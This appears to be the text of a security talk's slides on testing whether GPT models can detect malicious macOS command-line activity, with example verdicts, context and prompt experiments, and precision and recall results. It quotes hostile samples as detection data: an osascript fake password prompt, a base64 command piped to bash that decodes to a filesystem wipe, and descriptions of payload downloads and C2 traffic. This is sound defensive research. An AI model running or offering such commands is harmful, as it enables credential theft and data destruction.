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Slackbots

Triage, route, and 
respond to common 
security questions.

Introduction Dogfooding AI

Intel Assistant

Plans, executes, and 
documents threat 
intelligence 
investigations.

We use our AI models for multiple security use case
…to reduce human burden
…to increase velocity of work

Vulnerability 
management

Identify and patch 
vulnerabilities in 
software.



Can we use an AI model to 
augment our detection strategy?

Hypothesis: LLMs will be able to assess 
command line activity and surface malicious 
actions.
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Key takeaways

LLMs can detect malicious activity on Macs

LLMs perform better with more context

LLMs perform better with explicit instructions
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Experiment lab setupIntroduction

Assets

2 macOS VMs

3 users (1 technical, 1 non-technical 
manager, 1 non-technical IC)

Benign activity (2472 total)

User simulation (Chrome, Mail, etc)

Background macOS activity 
(mediaanalysisd, mdworker, etc)

Malicious activity (11 total)

3 infostealers

1 loader

4 RATs

1 insider

1 ransomware

1 backdoor
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Experiment lab setupIntroduction

1: basename /Applications/Safari.app
2: dscl /Local/Default -authonly michael.scott
3: sh -c osascript -e 'display dialog "To launch 
the application, you need to update the system 
settings Please enter your password."
4: sh -c sw_vers

{
  "group_leader.pid": 3,
  "hostname": "scr-office-imac",
  "suspcious_score": 10,
  "verdict": "suspicious",
  "mitre_tag": "credential_access",
  "analysis": "This sequence of 
commands…"
}
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Stealers
Verdict Suspicious

Score 9

Tags ["defense_evasion", "execution", "persistence"]

Analysis The sequence of commands executed on the host 'scr-office-imac.local' by the 
user 'michael.scott', who is a Regional Manager, is highly suspicious. The 
process chain begins with an installer being executed from a mounted volume, 
which is unusual for a management role. Following this, there are multiple 
instances of base64 encoded commands being decoded and executed, 
which is a common technique used for obfuscating malicious activities. 
The decoded command involves downloading a file from an external URL 
'https://megantic.online/te/54325432', which is then saved to the user's 
Library directory. This is followed by changing the file permissions to 
executable, removing extended attributes, and forcefully signing the file with 
codesign. These actions are indicative of an attempt to execute potentially 
malicious software while bypassing macOS security mechanisms. The 
use of 'osascript' to execute shell scripts further suggests an attempt to evade 
detection. Given the user's role, such technical and potentially harmful activities 
are highly anomalous and warrant immediate investigation.
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Loaders
Verdict Suspicious

Score 9

Tags ["execution", "command_and_control"]

Analysis The sequence of commands executed on the host scr-it-mac.local by the user 
Sadiq Khan, an IT Administrator, raises several red flags. The initial process 
involves executing an application from the Downloads folder, which is often a 
location for unverified software. The application attempts to display a dialog 
using AppleScript, which is a common technique for social engineering 
attacks to trick users into taking actions. 
The subsequent command involves using 'curl' to fetch a script from an 
external site 'support.docsend.site', which is suspicious as it could be used to 
download and execute malicious scripts. The use of 'osascript' to execute a 
shell script fetched from an external source is particularly concerning as it 
indicates potential execution of arbitrary code, which could lead to further 
compromise of the system.
Given Sadiq Khan's role as an IT Administrator, while he might have legitimate 
reasons to run scripts, the execution of scripts from unverified external sources 
is highly unusual and risky. This activity aligns with the MITRE ATT&CK 
techniques of 'execution' and 'command_and_control', as it involves executing 
potentially malicious code and establishing a connection to an external server.
Overall, the combination of downloading and executing scripts from an external 
source, especially from a non-standard domain, is highly suspicious and 
warrants further investigation.
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RATs
Verdict Suspicious

Score 9

Tags ["command_and_control", "collection", "exfiltration", "defense_evasion"]

Analysis The sequence of commands executed on the host 'scr-it-mac.local' by user 
'sadiq.khan', an IT Administrator, raises significant concerns. The initial 
command './xpcproxy -server https://caldera.obts.training -v' suggests a 
potential connection to an external server, which could be part of a command 
and control setup. Following this, there are multiple instances of 
'screencapture' commands, which indicate potential data collection 
activities. The use of 'base64 --decode' in conjunction with 'sh -c eval' 
commands is a common technique for obfuscating malicious scripts. 
Additionally, the command 'pbpaste' suggests clipboard data access, which 
could be used for credential harvesting. The sequence also includes 'curl' 
commands that upload data to an external server, indicating possible data 
exfiltration. The presence of commands like 'find' and 'grep' targeting 
specific file types and applications, including security software, suggests 
reconnaissance and defense evasion attempts. The combination of these 
activities, especially given the user's role, is highly suspicious and indicative of 
potential malicious behavior.



13

Insider threats
Non-technical user Technical user

Verdict Benign Benign

Score 3 1

Tags ["discovery"]

Analysis The sequence of commands executed on the host 'scr-office-imac.local' by 
the user 'michael.scott', who is a Regional Manager in the Management 
department, involves several directory service commands. These commands 
are typically used for querying and managing directory services on macOS, 
such as Active Directory. The commands executed include listing groups, 
users, and computers in the Active Directory, as well as showing directory 
service configuration. While these commands are technical and typically 
associated with IT or administrative roles, they are not inherently 
malicious. However, given that Michael Scott is a Regional Manager, it is 
somewhat unusual for him to be executing such commands unless he has a 
specific reason or technical background. The execution of a script named 
'user_audit.sh' suggests a possible audit or review of user accounts, which 
could be legitimate if authorized. There is no indication of privilege escalation, 
data exfiltration, or other malicious activities in this command sequence. 
Therefore, while the activity is slightly anomalous for a management 
role, it does not appear to be malicious. It is advisable to verify the 
legitimacy of the 'user_audit.sh' script and ensure that Michael Scott has the 
appropriate permissions and reasons for conducting such audits.

The sequence of commands executed on the host 'scr-it-mac.local' by the 
user 'sadiq.khan', who is an IT Administrator in the Corporate and Human 
Resources department, appears to be consistent with typical administrative 
tasks. The execution begins with a script 'user_audit.sh' being run with 
elevated privileges using 'sudo'. This is followed by several 'dscl' commands, 
which are used to query directory services for information about users, 
computers, and groups. These commands are common in environments 
where directory services are used to manage network resources and user 
accounts. The 'dsconfigad -show' command is used to display the current 
configuration of the Active Directory plugin, which is also a typical 
administrative task. Given the user's role as an IT Administrator, these 
commands are within the scope of their responsibilities and do not 
indicate malicious intent. The use of 'sudo' and directory service 
commands is expected for someone in this position, and there are no signs of 
data exfiltration, privilege escalation, or other suspicious activities. Therefore, 
the activity is assessed as benign.
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Insider threats
Non-technical, non-manager user

Verdict Suspicious

Score 7

Tags ["discovery"]

Analysis The sequence of commands executed on the host 'scr-office-imac.local' by 
the user 'kelly.kapoor', a Customer Service Representative, involves several 
directory service commands (dscl) and a directory service configuration 
command (dsconfigad). These commands are typically used for querying and 
managing directory services, such as Active Directory, which is not typically 
within the scope of a Customer Service Representative's role. The 
execution of a script located in a corporate share directory 
('/Volumes/Corporate Share/it/scripts/user_audit.sh') suggests that this 
activity might be part of an IT audit or maintenance task. However, the role of 
the user does not align with performing such tasks, which raises 
suspicion. The commands executed are related to user and group 
enumeration, which could be associated with discovery activities in a 
malicious context. Given the user's role and the nature of the commands, this 
activity is anomalous and warrants further investigation to ensure it is 
authorized and legitimate.
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Ransomware
Verdict Benign

Score 2

Tags

Analysis The commands in question involve the execution of a binary named 'lckmac' 
with elevated privileges using 'sudo'. The user executing these commands is 
'sadiq.khan', who holds the position of IT Administrator in the Corporate and 
Human Resources department. Given the user's role, it is plausible that they 
have legitimate reasons to execute administrative tasks that require elevated 
privileges. The process parent name '/bin/bash' and the use of 'sudo' suggest 
that the user is executing these commands manually, possibly for system 
maintenance or configuration purposes. The binary 'lckmac' is not a 
standard macOS utility, which could raise some concerns. However, 
without additional context or evidence of malicious behavior, such as 
network connections to suspicious domains or further suspicious 
command sequences, this activity alone does not strongly indicate malicious 
intent. Therefore, considering the user's role and the nature of the command, 
this activity is assessed as benign.
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How much does providing extra 
context improve GPT detection 
quality?

Hypothesis: We should see improved 
analysis when more context on the process 
and user  is provided to GPT.
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Adding context Low context approaches

Isolated Commands

Analyze each command individually - lowest 
context

Grouped Commands

Analyze commands grouped by PGID - 
medium context
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Adding context Isolated Command Performance

Command /usr/bin/syslog -s -k com.apple.message.domain 
com.apple.security.assessment.current_state 
com.apple.message.signature assessments disabled 
com.apple.message.signature2 devid enabled Message Gatekeeper 
state assessments disabled/devid enabled

Verdict Suspicious

Score 5

Tags ["defense_evasion"]

Analysis The command executed by the syslog process involves querying or 
modifying the state of Apple's Gatekeeper, which is a security feature 
designed to ensure that only trusted software runs on a Mac. The 
command uses the syslog utility to log or retrieve system messages 
related to the security assessment state of the system. This activity 
could be part of routine system administration or security monitoring to 
ensure that Gatekeeper is configured correctly. However, if this 
command is executed without proper authorization or in an unusual 
context, it could indicate an attempt to bypass security controls, which 
would be suspicious. If this command was executed by a known 
and trusted administrator or security tool, it is likely benign. 

Low context performance
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Adding context High context approaches

Grouped Commands + Role Description

Analyze commands grouped by PGID 
enriched with who the user is, their job title, 
and department - high context
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Adding context Contextual performance

GPT benefits from context

● Improved context for GPT analysis
● Context aids in detecting

○ Renaming utilities
○ Obfuscated commands
○ Using obscure tooling

● Group by:
○ Time
○ Process group
○ Session
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Prompt engineering Fundamentals

Prompt Engineering Strategy 
https://platform.openai.com/docs/guides/prompt-engineering/prompt-engineering

● Write clear instructions 
● Provide reference text 
● Split complex tasks into simpler subtasks 
● Give the model time to "think" 
● Test changes systematically

https://platform.openai.com/docs/guides/prompt-engineering/prompt-engineering
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Prompt engineering Fundamentals

● Write clear instructions 
● Provide reference text 
● Split complex tasks into simpler subtasks 
● Give the model time to "think" 
● Test changes systematically

Command echo 
'c2ggLWMgJ2RtdW5nIC1yZiAvJCA+IC9kZXYvbnVsbC
c=' | base64 --decode | bash

Verdict Suspicious

Score 10

Tags ["execution"]

Analysis The base64-encoded command decodes to 'sh -c 
'dmung -rf / \ > /dev/null'', which suggests a delete 
operation of the entire filesystem. This is potentially 
destructive activity indicative of severe malicious intent.

Tag step

Verdict / 
suspicious score 

step

Analysis step
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Prompt engineering Fundamentals

● Write clear instructions 
● Provide reference text 
● Split complex tasks into simpler subtasks 
● Give the model time to "think" 
● Test changes systematically



How important is the 
level of detail 
provided in the 
prompt?

Hypothesis: We should see 
decreased performance 
when we utilize a barebones 
prompt.
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Example barebones prompt



27

Evaluation Comparison

Detailed Prompt vs. Short Prompt

● Long prompt performs 
slightly better (fewer false 
positives)

● Short prompt is equivalent 
in surfacing malicious 
behavior

● In our experience, more 
detail helps in an enterprise 
context

Abbreviated Prompt         
Precision: .38
Recall: .93

Full Prompt         
Precision: .71
Recall: .92 
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LLMs can detect malicious activity on Macs

LLMs can augment, not replace, your detection 
strategy

4o provides greater depth of analysis

4o-mini is cheaper and faster

Takeaways

LLMs perform better with explicit 
instructions

Give GPT guidance on how to analyze security 
events

Version control and evals for prompt 
development

Structured Outputs improve compatibility into 
existing tooling (SIEM, SOAR)

LLMs perform better with more context

Group commands to represent what 
happened in a session

Provide information on who the employee is 
and what their role does

Manage token input sizes
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Conclusion What's next

The Future

● Models continue to improve
○ Context window increases
○ Costs lower

● Fine-tuning
○ We used base GPT4 family models
○ Explore fine-tuning for detection-specific tasks

● Retrieval
○ Provide access to internal data to make detection more 

relevant to our environment
● Search

○ Update context with current web sources
● Reasoning models

○ "Think harder" on the problem and develop a response plan
● Apply to other telemetry

○ Application logs
○ Network data
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Contact us Kimo Bumanglag
kimo (at) openai.com

Joseph Millman
joseph (at) openai.com

Shout outs

Bob, Matt, Flossman, Harold, Akshay, McGrew


